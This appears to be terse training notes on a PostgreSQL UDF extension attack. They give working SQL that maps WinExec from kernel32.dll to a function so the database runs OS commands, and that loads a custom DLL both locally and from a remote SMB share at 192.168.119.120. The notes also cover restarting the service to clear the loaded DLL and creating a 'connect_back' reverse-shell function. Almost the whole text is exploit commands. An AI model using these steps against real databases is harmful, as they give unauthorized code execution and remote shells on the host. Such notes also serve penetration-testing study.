0. PSQL Extensions attack - UDF
Load an extension using the following.
CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'test' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS 'C:\Windows\System32\kernel32.dll', 'WinExec' LANGUAGE C STRICT;
SELECT system('hostname');
Steps Local attack
- Generate awae.dll using the script. poc.c Local execution arking.
- Create a function
# From local machine
create or replace function test(text, integer) returns void as $C:\awae.dll$, $awae$ language C strict;
SELECT test($calc.exe$, 3);
# From remote machine
CREATE OR REPLACE FUNCTION remote_test(text, integer) RETURNS void AS $\\192.168.119.120\awae\awae.dll$, $awae$ LANGUAGE C STRICT;
SELECT remote_test($calc.exe$, 3);
- Start/Stop the application.
net stop "Applications Manager"
- delete the dll file. DLL file is loaded into the database memory space.
net start "Applications Manager"
- Delete the test function.
DROP FUNCTION test(text, integer);
- Observe calc.exe using tasklist
- tasklist |findstr -i calc.exe
Steps Rev shell
- Generate payload. psql poc.c - reverseshell
- Create a function
create or replace function test2(text) returns void as $C:\awae2.dll$, $connect_back$ language C strict;
- Execute the function.
select test2('something')
- Python payload.
Remote execution py